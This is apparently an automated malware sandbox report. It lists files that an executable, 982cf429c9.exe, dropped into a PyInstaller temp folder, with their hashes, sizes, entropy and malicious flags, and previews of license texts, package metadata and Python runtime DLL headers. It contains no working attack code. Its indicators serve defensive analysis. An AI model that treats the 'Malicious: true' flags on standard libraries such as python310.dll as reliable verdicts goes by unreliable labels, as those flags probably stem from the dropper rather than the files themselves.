Preview:	cryptography-44.0.0.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4..cryptography-44.0.0.dist-info/METADATA,sha256=2V9JHtQY3DAtsDgE2vkzXOIbLfRwRYfmhR7wPh-E2JU,5724..cryptography-44.0.0.dist-info/RECORD,,..cryptography-44.0.0.dist-info/REQUESTED,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0..cryptography-44.0.0.dist-info/WHEEL,sha256=Hn9bytZpOGoR6M4U5xUTHC1AJpPD9B1xPrM4STxljEU,94..cryptography-44.0.0.dist-info/licenses/LICENSE,sha256=Pgx8CRqUi4JTO6mP18u0BDLW8amsv4X1ki0vmak65rs,197..cryptography-44.0.0.dist-info/licenses/LICENSE.APACHE,sha256=qsc7MUj20dcRHbyjIJn2jSbGRMaBOuHk8F9leaomY_4,11360..cryptography-44.0.0.dist-info/licenses/LICENSE.BSD,sha256=YCxMdILeZHndLpeTzaJ15eY9dz2s0eymiSMqtwCPtPs,1532..cryptography/__about__.py,sha256=fcUqF1IcadxBSH0us1vCvob0OJOrPV3h30yZD8wsHo4,445..cryptography/__init__.py,sha256=XsRL_PxbU6UgoyoglAgJQSrJCP97ovBA8YIEQ2-uI68,762..cryptography/__pycache__/__about__.cpython-310.pyc,,..cryptography/__pycache__/__init__.cpython-310

C:\Users\user\AppData\Local\Temp\_MEI58162\cryptography-44.0.0.dist-info\WHEEL

Download File

Process:	C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	94
Entropy (8bit):	5.0373614967294325
Encrypted:	false
SSDEEP:	3:RtEeX5pG6vhP+tkKciH/KQb:RtvoKWKTQb
MD5:	A868F93FCF51C4F1C25658D54F994349
SHA1:	535C88A10911673DEABB7889D365E81729E483A6
SHA-256:	1E7F5BCAD669386A11E8CE14E715131C2D402693C3F41D713EB338493C658C45
SHA-512:	EC13CAC9DF03676640EF5DA033E8C2FAEE63916F27CC27B9C43F0824B98AB4A6ECB4C8D7D039FA6674EF189BDD9265C8ED509C1D80DFF610AEB9E081093AEB3D
Malicious:	false
Reputation:	unknown
Preview:	Wheel-Version: 1.0.Generator: maturin (1.7.5).Root-Is-Purelib: false.Tag: cp39-abi3-win_amd64.

C:\Users\user\AppData\Local\Temp\_MEI58162\cryptography-44.0.0.dist-info\licenses\LICENSE

Download File

Process:	C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	197
Entropy (8bit):	4.61968998873571
Encrypted:	false
SSDEEP:	3:hWDncJhByZmJgXPForADu1QjygQuaAJygT2d5GeWreLRuOFEXAYeBKmJozlMHuO:h9Co8FyQjkDYc5tWreLBF/pn2mH1
MD5:	8C3617DB4FB6FAE01F1D253AB91511E4
SHA1:	E442040C26CD76D1B946822CAF29011A51F75D6D
SHA-256:	3E0C7C091A948B82533BA98FD7CBB40432D6F1A9ACBF85F5922D2F99A93AE6BB
SHA-512:	77A1919E380730BCCE5B55D76FBFFBA2F95874254FAD955BD2FE1DE7FC0E4E25B5FDAAB0FEFFD6F230FA5DC895F593CF8BFEDF8FDC113EFBD8E22FADAB0B8998
Malicious:	false
Reputation:	unknown
Preview:	This software is made available under the terms of either of the licenses.found in LICENSE.APACHE or LICENSE.BSD. Contributions to cryptography are made.under the terms of both these licenses..

C:\Users\user\AppData\Local\Temp\_MEI58162\cryptography-44.0.0.dist-info\licenses\LICENSE.APACHE

Download File

Process:	C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	11360
Entropy (8bit):	4.426756947907149
Encrypted:	false
SSDEEP:	192:nUDG5KXSD9VYUKhu1JVF9hFGvV/QiGkS594drFjuHYx5dvTrLh3kTSEnQHbHR:UIvlKM1zJlFvmNz5VrlkTS0QHt
MD5:	4E168CCE331E5C827D4C2B68A6200E1B
SHA1:	DE33EAD2BEE64352544CE0AA9E410C0C44FDF7D9
SHA-256:	AAC73B3148F6D1D7111DBCA32099F68D26C644C6813AE1E4F05F6579AA2663FE
SHA-512:	F451048E81A49FBFA11B49DE16FF46C52A8E3042D1BCC3A50AAF7712B097BED9AE9AED9149C21476C2A1E12F1583D4810A6D36569E993FE1AD3879942E5B0D52
Malicious:	false
Reputation:	unknown
Preview:	. Apache License. Version 2.0, January 2004. https://www.apache.org/licenses/.. TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION.. 1. Definitions... "License" shall mean the terms and conditions for use, reproduction,. and distribution as defined by Sections 1 through 9 of this document... "Licensor" shall mean the copyright owner or entity authorized by. the copyright owner that is granting the License... "Legal Entity" shall mean the union of the acting entity and all. other entities that control, are controlled by, or are under common. control with that entity. For the purposes of this definition,. "control" means (i) the power, direct or indirect, to cause the. direction or management of such entity, whether by contract or. otherwise, or (ii) ownership of fifty percent (50%) or more of the. outstanding shares, or (iii) beneficial ow

C:\Users\user\AppData\Local\Temp\_MEI58162\cryptography-44.0.0.dist-info\licenses\LICENSE.BSD

Download File

Process:	C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1532
Entropy (8bit):	5.058591167088024
Encrypted:	false
SSDEEP:	24:MjUnoorbOFFTJJyRrYFTjzMbmqEvBTP4m96432s4EOkUTKQROJ32s3yxsITf+3tY:MkOFJSrYJsaN5P406432svv32s3EsIqm
MD5:	5AE30BA4123BC4F2FA49AA0B0DCE887B
SHA1:	EA5B412C09F3B29BA1D81A61B878C5C16FFE69D8
SHA-256:	602C4C7482DE6479DD2E9793CDA275E5E63D773DACD1ECA689232AB7008FB4FB
SHA-512:	DDBB20C80ADBC8F4118C10D3E116A5CD6536F72077C5916D87258E155BE561B89EB45C6341A1E856EC308B49A4CB4DBA1408EABD6A781FBE18D6C71C32B72C41
Malicious:	false
Reputation:	unknown
Preview:	Copyright (c) Individual contributors..All rights reserved...Redistribution and use in source and binary forms, with or without.modification, are permitted provided that the following conditions are met:.. 1. Redistributions of source code must retain the above copyright notice,. this list of conditions and the following disclaimer... 2. Redistributions in binary form must reproduce the above copyright. notice, this list of conditions and the following disclaimer in the. documentation and/or other materials provided with the distribution... 3. Neither the name of PyCA Cryptography nor the names of its contributors. may be used to endorse or promote products derived from this software. without specific prior written permission...THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND.ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED.WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOS

C:\Users\user\AppData\Local\Temp\_MEI58162\cryptography\hazmat\bindings\_rust.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	8292864
Entropy (8bit):	6.493076254122072
Encrypted:	false
SSDEEP:	98304:Y4sf3zg+qUuQdPJMqYLSxuBLZqwt0kDO+5+O:cdeqYLSxuBLZrGjq+
MD5:	34293B976DA366D83C12D8EE05DE7B03
SHA1:	82B8EB434C26FCC3A5D9673C9B93663C0FF9BF15
SHA-256:	A2285C3F2F7E63BA8A17AB5D0A302740E6ADF7E608E0707A7737C1EC3BD8CECC
SHA-512:	0807EC7515186F0A989BB667150A84FF3BEBCC248625597BA0BE3C6F07AD60D70CF8A3F65191436EC16042F446D4248BF92FCD02212E459405948DB10F078B8E
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........Y.j...j...j....F..j.......j.......j.......j.......j.......j.......j...j...h.......i...j...j.......j.......j..Rich.j..........................PE..d....^Gg.........." ...*.R\..n"......~Z.......................................~...........`...........................................x.X.....x...............y...............~.......o.T.....................o.(...p.o.@............p\.8............................text....Q\......R\................. ..`.rdata..P9...p\..:...V\.............@..@.data... >....x.......x.............@....pdata........y.......y.............@..@.reloc........~.......}.............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI58162\libcrypto-1_1.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	3439512
Entropy (8bit):	6.096012359425593
Encrypted:	false
SSDEEP:	98304:kw+jlHDGV+EafwAlViBksm1CPwDv3uFfJ1:1slHDG2fwAriXm1CPwDv3uFfJ1
MD5:	AB01C808BED8164133E5279595437D3D
SHA1:	0F512756A8DB22576EC2E20CF0CAFEC7786FB12B
SHA-256:	9C0A0A11629CCED6A064932E95A0158EE936739D75A56338702FED97CB0BAD55
SHA-512:	4043CDA02F6950ABDC47413CFD8A0BA5C462F16BCD4F339F9F5A690823F4D0916478CAB5CAE81A3D5B03A8A196E17A716B06AFEE3F92DEC3102E3BBC674774F2
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........R.m.R.m.R.m.[...@.m.0.l.P.m.0.h.^.m.0.i.Z.m.0.n.V.m.R.l..m..l.Y.m...n.O.m...i.+.m...m.S.m....S.m...o.S.m.RichR.m.........................PE..d...`.0b.........." ......$...................................................5......4...`..........................................x/..h...:4.@....p4.\|....p2.8....\4.......4..O....,.8...........................`.,.@............04..............................text.....$.......$................. ..`.rdata........$.......$.............@..@.data...!z....1..,....1.............@....pdata.......p2.......1.............@..@.idata..^#...04..$....3.............@..@.00cfg..u....`4.......3.............@..@.rsrc...\|....p4.......3.............@..@.reloc...y....4..z....3.............@..B................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI58162\libffi-7.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	32792
Entropy (8bit):	6.3566777719925565
Encrypted:	false
SSDEEP:	384:2nypDwZH1XYEMXvdQOsNFYzsQDELCvURDa7qscTHstU0NsICwHLZxXYIoBneEAR8:2l0Vn5Q28J8qsqMttktDxOpWDG4yKRF
MD5:	EEF7981412BE8EA459064D3090F4B3AA
SHA1:	C60DA4830CE27AFC234B3C3014C583F7F0A5A925
SHA-256:	F60DD9F2FCBD495674DFC1555EFFB710EB081FC7D4CAE5FA58C438AB50405081
SHA-512:	DC9FF4202F74A13CA9949A123DFF4C0223DA969F49E9348FEAF93DA4470F7BE82CFA1D392566EAAA836D77DDE7193FED15A8395509F72A0E9F97C66C0A096016
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......6.3.r}]Ar}]Ar}]A{..Ap}]A .\@p}]A..\@q}]Ar}\AU}]A .X@~}]A .Y@z}]A .^@q}]A..Y@t}]A..^@s}]A..]@s}]A.._@s}]ARichr}]A........................PE..d......].........." .....F...$.......I....................................................`..........................................j.......m..P....................f...............b...............................b...............`.. ............................text....D.......F.................. ..`.rdata..H....`.......J..............@..@.data................^..............@....pdata...............`..............@..@.reloc...............d..............@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI58162\libssl-1_1.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	698784
Entropy (8bit):	5.533720236597082
Encrypted:	false
SSDEEP:	12288:waXWJ978LddzAPcWTWxYx2OCf2QmAr39Zu+DIpEpXKWRq0qwMUxQU2lvz:dddzAjKnD/QGXKzpwMUCU2lvz
MD5:	DE72697933D7673279FB85FD48D1A4DD
SHA1:	085FD4C6FB6D89FFCC9B2741947B74F0766FC383
SHA-256:	ED1C8769F5096AFD000FC730A37B11177FCF90890345071AB7FBCEAC684D571F
SHA-512:	0FD4678C65DA181D7C27B19056D5AB0E5DD0E9714E9606E524CDAD9E46EC4D0B35FE22D594282309F718B30E065F6896674D3EDCE6B3B0C8EB637A3680715C2C
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......{.T.?.:.?.:.?.:.6f..3.:.]f;.=.:..l;.=.:.]f?.3.:.]f>.7.:.]f9.;.:..g;.<.:.?.;...:..g>...:..g:.>.:..g.>.:..g8.>.:.Rich?.:.........PE..d.....0b.........." .....<...T......<................................................[....`.........................................00...N..HE..........s.......\|M..............h... ...8...............................@............0..H............................text....:.......<.................. ..`.rdata..:....P...0...@..............@..@.data...AM.......D...p..............@....pdata..dV.......X..................@..@.idata..PW...0...X..................@..@.00cfg..u............d..............@..@.rsrc...s............f..............@..@.reloc..a............n..............@..B................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI58162\psutil\_psutil_windows.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	67072
Entropy (8bit):	5.909456553599775
Encrypted:	false
SSDEEP:	1536:j3sHmR02IvVxv7WCyKm7c5Th4JBHTOvyyaZE:jnIvryCyKx5Th4J5OvyyO
MD5:	49AC12A1F10AB93FAFAB064FD0523A63
SHA1:	3AD6923AB0FB5D3DD9D22ED077DB15B42C2FBD4F
SHA-256:	BA033B79E858DBFCBA6BF8FB5AFE10DEFD1CB03957DBBC68E8E62E4DE6DF492D
SHA-512:	1BC0F50E0BB0A9D9DDDAD31390E5C73B0D11C2B0A8C5462065D477E93FF21F7EDC7AA2B2B36E478BE0A797A38F43E3FBEB6AAABEF0BADEC1D8D16EB73DF67255
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......nT..5..5..5..#M2. 5..x@..(5..x@..&5..x@.."5..x@...5...k..(5..aM..;5..5...5...@..:5...@..+5...@^.+5...@..+5..Rich*5..................PE..d...._.g.........." .........h......\........................................@............`.........................................0...`.......@.... .......................0..(.......................................8............................................text...h........................... ..`.rdata..\I.......J..................@..@.data...x...........................@....pdata..............................@..@.rsrc........ ......................@..@.reloc..(....0......................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI58162\pyexpat.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	198568
Entropy (8bit):	6.360283939217406
Encrypted:	false
SSDEEP:	3072:rkPTemtXBsiLC/QOSL6XZIMuPbBV3Dy9zeL9ef93d1BVdOd8dVyio0OwUpz1RPoi:AKmVG/pxIMuPbBFEFDBwpp2W
MD5:	6BC89EBC4014A8DB39E468F54AAAFA5E
SHA1:	68D04E760365F18B20F50A78C60CCFDE52F7FCD8
SHA-256:	DBE6E7BE3A7418811BD5987B0766D8D660190D867CD42F8ED79E70D868E8AA43
SHA-512:	B7A6A383EB131DEB83EEE7CC134307F8545FB7D043130777A8A9A37311B64342E5A774898EDD73D80230AB871C4D0AA0B776187FA4EDEC0CCDE5B9486DBAA626
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......O...........6...k.....k.....k.....k.....o............\|.o.....o.....o.Z...o.....Rich..................PE..d....K.b.........." ... ............0................................................0....`.........................................`...P................................)..........@6..T............................5..@............ ...............................text...K........................... ..`.rdata....... ......................@..@.data...............................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI58162\python3.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	64936
Entropy (8bit):	6.1037683983631625
Encrypted:	false
SSDEEP:	768:kD8LeBLeeFtp5V1BfO2yvSk70QZF1nEyjnskQkr/RFB1qucwdBeCw0myou6ZwJqL:kDwewnvtjnsfwaVISQ0a7SydEnn
MD5:	07BD9F1E651AD2409FD0B7D706BE6071
SHA1:	DFEB2221527474A681D6D8B16A5C378847C59D33
SHA-256:	5D78CD1365EA9AE4E95872576CFA4055342F1E80B06F3051CF91D564B6CD09F5
SHA-512:	DEF31D2DF95CB7999CE1F55479B2FF7A3CB70E9FC4778FC50803F688448305454FBBF82B5A75032F182DFF663A6D91D303EF72E3D2CA9F2A1B032956EC1A0E2A
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........f..A.e.A.e.A.e.%}m.@.e.%}e.@.e.%}..@.e.%}g.@.e.RichA.e.........................PE..d....K.b.........." ... ..................................................................`.........................................`...`................................)..............T............................................................................rdata..............................@..@.rsrc...............................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI58162\python310.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	4493736
Entropy (8bit):	6.465157771728023
Encrypted:	false
SSDEEP:	49152:5vL1txd/8sCmiAiPw+RxtLzli0Im3wOc+28Ivu31WfbF9PtF+FNDHaSclAaBlh7y:Dw7Ad07RmodacSeSHCMTbSp4PS
MD5:	C80B5CB43E5FE7948C3562C1FFF1254E
SHA1:	F73CB1FB9445C96ECD56B984A1822E502E71AB9D
SHA-256:	058925E4BBFCB460A3C00EC824B8390583BAEF0C780A7C7FF01D43D9EEC45F20
SHA-512:	FAA97A9D5D2A0BF78123F19F8657C24921B907268938C26F79E1DF6D667F7BEE564259A3A11022E8629996406CDA9FA00434BB2B1DE3E10B9BDDC59708DBAD81
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......+.o...o...o.......m.......b.......c.......g.......k...f.`.u......f...o...3..............n.......n.......n...Richo...................PE..d....K.b.........." ... ..#...!.....\|!........................................E.....{.D...`..........................................G=.......>.\|.....E.......B......hD..)....E..t...Q%.T...........................`P%.@.............#.0............................text.....#.......#................. ..`.rdata...\....#..^....#.............@..@.data... ....0>.......>.............@....pdata........B.. ....A.............@..@PyRuntim`.....D.......C.............@....rsrc.........E.......C.............@..@.reloc...t....E..v....C.............@..B................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI58162\pywin32_system32\pythoncom310.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	556544
Entropy (8bit):	6.015390811366772
Encrypted:	false
SSDEEP:	12288:ANPciA4K8pFTtd5giF7kvRQi+mpdfxpxlL1:+PbBK8pFTtd5giFmvb
MD5:	B7ACFAD9F0F36E7CF8BFB0DD58360FFE
SHA1:	8FA816D403F126F3326CB6C73B83032BB0590107
SHA-256:	461328C988D4C53F84579FC0880C4A9382E14B0C8B830403100A2FA3DF0FD9A9
SHA-512:	4FED8A9162A9A2EBC113EA44D461FB498F9F586730218D9C1CDDCD7C8C803CAD6DEA0F563B8D7533321ECB25F6153CA7C5777C314E7CB76D159E39E74C72D1B8
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......s...7y.^7y.^7y.^>.[^=y.^.'._5y.^.'._5y.^.'._#y.^.'._?y.^.'._5y.^D.._:y.^..._5y.^D.._>y.^7y.^fx.^.'._fy.^.'._6y.^.'._6y.^Rich7y.^........PE..d......a.........." .....H...2.......6.......................................p............`.............................................@c...i.......@..l........p...........P..`.......T...........................P................`...............................text...LF.......H.................. ..`.rdata...3...`...4...L..............@..@.data............h..................@....pdata...p.......r..................@..@.gfids..4....0.......Z..............@..@.rsrc...l....@.......\..............@..@.reloc..`....P.......`..............@..B................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI58162\pywin32_system32\pywintypes310.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	142336
Entropy (8bit):	5.9648110046839244
Encrypted:	false
SSDEEP:	3072:iuNj4Vsl6Cj2CYrrC04pFiYDQcaSWvTidrSsu5:iuxqs9j2CYrrC0Ki5caS2TidrSD
MD5:	F200CA466BF3B8B56A272460E0EE4ABC
SHA1:	CA18E04F143424B06E0DF8D00D995C2873AA268D
SHA-256:	A6700CA2BEE84C1A051BA4B22C0CDE5A6A5D3E35D4764656CFDC64639C2F6B77
SHA-512:	29BF2425B665AF9D2F9FD7795BF2AB012AA96FAED9A1A023C86AFA0D2036CC6014B48116940FAD93B7DE1E8F4F93EB709CC9319439D7609B79FD8B92669B377D
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........V.V.7...7...7...O$..7...i...7..b.p..7...i...7...i...7...i...7...U...7..f^...7...U...7...7...7..Vi...7..Vi...7..Vi...7..Rich.7..................PE..d...i..a.........." .........@......`.....................................................`..............................................H...........`..l....0..X............p.......h..T...........................0i..................h............................text...*........................... ..`.rdata..............................@..@.data....1.......0..................@....pdata..X....0......................@..@.gfids..4....P......."..............@..@.rsrc...l....`.......$..............@..@.reloc.......p.......(..............@..B........................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI58162\select.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	29096
Entropy (8bit):	6.4767692602677815
Encrypted:	false
SSDEEP:	384:rPxHeWt+twhCBsHqF2BMXR6VIS7GuIYiSy1pCQkyw24i/8E9VFL2Ut8JU:ZeS+twhC6HqwmYVIS7GjYiSyv7VeEdH
MD5:	ADC412384B7E1254D11E62E451DEF8E9
SHA1:	04E6DFF4A65234406B9BC9D9F2DCFE8E30481829
SHA-256:	68B80009AB656FFE811D680585FAC3D4F9C1B45F29D48C67EA2B3580EC4D86A1
SHA-512:	F250F1236882668B2686BD42E1C334C60DA7ABEC3A208EBEBDEE84A74D7C4C6B1BC79EED7241BC7012E4EF70A6651A32AA00E32A83F402475B479633581E0B07
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........{?t..Q'..Q'..Q'.b.'..Q'.`P&..Q'.`T&..Q'.`U&..Q'.`R&..Q'.`P&..Q'..P'..Q'5hP&..Q'.`\&..Q'.`Q&..Q'.`.'..Q'.`S&..Q'Rich..Q'........................PE..d....K.b.........." ... .....2......................................................l.....`..........................................@..L....@..x....p.......`.......H...)......L....3..T............................2..@............0...............................text............................... ..`.rdata..H....0......................@..@.data........P.......6..............@....pdata.......`.......8..............@..@.rsrc........p.......<..............@..@.reloc..L............F..............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI58162\setuptools\_vendor\importlib_metadata-8.0.0.dist-info\INSTALLER

Download File

Process:	C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Mn:M
MD5:	365C9BFEB7D89244F2CE01C1DE44CB85
SHA1:	D7A03141D5D6B1E88B6B59EF08B6681DF212C599
SHA-256:	CEEBAE7B8927A3227E5303CF5E0F1F7B34BB542AD7250AC03FBCDE36EC2F1508
SHA-512:	D220D322A4053D84130567D626A9F7BB2FB8F0B854DA1621F001826DC61B0ED6D3F91793627E6F0AC2AC27AEA2B986B6A7A63427F05FE004D8A2ADFBDADC13C1
Malicious:	false
Reputation:	unknown
Preview:	pip.

C:\Users\user\AppData\Local\Temp\_MEI58162\setuptools\_vendor\importlib_metadata-8.0.0.dist-info\LICENSE

Download File

Process:	C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	11358
Entropy (8bit):	4.4267168336581415
Encrypted:	false
SSDEEP:	192:nU6G5KXSD9VYUKhu1JVF9hFGvV/QiGkS594drFjuHYx5dvTrLh3kTSEn7HbHR:U9vlKM1zJlFvmNz5VrlkTS07Ht
MD5:	3B83EF96387F14655FC854DDC3C6BD57
SHA1:	2B8B815229AA8A61E483FB4BA0588B8B6C491890
SHA-256:	CFC7749B96F63BD31C3C42B5C471BF756814053E847C10F3EB003417BC523D30
SHA-512:	98F6B79B778F7B0A15415BD750C3A8A097D650511CB4EC8115188E115C47053FE700F578895C097051C9BC3DFB6197C2B13A15DE203273E1A3218884F86E90E8
Malicious:	false
Reputation:	unknown
Preview:	. Apache License. Version 2.0, January 2004. http://www.apache.org/licenses/.. TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION.. 1. Definitions... "License" shall mean the terms and conditions for use, reproduction,. and distribution as defined by Sections 1 through 9 of this document... "Licensor" shall mean the copyright owner or entity authorized by. the copyright owner that is granting the License... "Legal Entity" shall mean the union of the acting entity and all. other entities that control, are controlled by, or are under common. control with that entity. For the purposes of this definition,. "control" means (i) the power, direct or indirect, to cause the. direction or management of such entity, whether by contract or. otherwise, or (ii) ownership of fifty percent (50%) or more of the. outstanding shares, or (iii) beneficial own

C:\Users\user\AppData\Local\Temp\_MEI58162\setuptools\_vendor\importlib_metadata-8.0.0.dist-info\METADATA

Download File

Process:	C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4648
Entropy (8bit):	5.006900644756252
Encrypted:	false
SSDEEP:	96:Dx2ZSaCSmS8R902Vpnu386eLQ9Ac+fFZpDN00x2jZ2SBXZJSwTE:9Smzf02Vpnu386mQ9B+TP0vJHJSwTE
MD5:	98ABEAACC0E0E4FC385DFF67B607071A
SHA1:	E8C830D8B0942300C7C87B3B8FD15EA1396E07BD
SHA-256:	6A7B90EFFEE1E09D5B484CDF7232016A43E2D9CC9543BCBB8E494B1EC05E1F59
SHA-512:	F1D59046FFA5B0083A5259CEB03219CCDB8CC6AAC6247250CBD83E70F080784391FCC303F7630E1AD40E5CCF5041A57CB9B68ADEFEC1EBC6C31FCF7FFC65E9B7
Malicious:	false
Reputation:	unknown
Preview:	Metadata-Version: 2.1.Name: importlib_metadata.Version: 8.0.0.Summary: Read metadata from Python packages.Author-email: "Jason R. Coombs" <jaraco@jaraco.com>.Project-URL: Source, https://github.com/python/importlib_metadata.Classifier: Development Status :: 5 - Production/Stable.Classifier: Intended Audience :: Developers.Classifier: License :: OSI Approved :: Apache Software License.Classifier: Programming Language :: Python :: 3.Classifier: Programming Language :: Python :: 3 :: Only.Requires-Python: >=3.8.Description-Content-Type: text/x-rst.License-File: LICENSE.Requires-Dist: zipp >=0.5.Requires-Dist: typing-extensions >=3.6.4 ; python_version < "3.8".Provides-Extra: doc.Requires-Dist: sphinx >=3.5 ; extra == 'doc'.Requires-Dist: jaraco.packaging >=9.3 ; extra == 'doc'.Requires-Dist: rst.linker >=1.9 ; extra == 'doc'.Requires-Dist: furo ; extra == 'doc'.Requires-Dist: sphinx-lint ; extra == 'doc'.Requires-Dist: jaraco.tidelift >=1.4 ; extra == 'doc'.Provides-Extra: perf.Requires-D

C:\Users\user\AppData\Local\Temp\_MEI58162\setuptools\_vendor\importlib_metadata-8.0.0.dist-info\RECORD

Download File

Process:	C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	2518
Entropy (8bit):	5.6307766747793275
Encrypted:	false
SSDEEP:	48:UnuXTg06U5J/Vw9l/gfNX7/XzBk9pvJq/fwJOfYrBfnJ/V0XJnzN/3WJV:bXzP/EgdzzBkDJsoIYrBfJ/CXNz9qV
MD5:	EB513CAFA5226DDA7D54AFDCC9AD8A74
SHA1:	B394C7AEC158350BAF676AE3197BEF4D7158B31C
SHA-256:	0D8D3C6EEB9EBBE86CAC7D60861552433C329DA9EA51248B61D02BE2E5E64030
SHA-512:	A0017CFAFF47FDA6067E3C31775FACEE4728C3220C2D4BD70DEF328BD20AA71A343E39DA15CD6B406F62311894C518DFCF5C8A4AE6F853946F26A4B4E767924E
Malicious:	false
Reputation:	unknown
Preview:	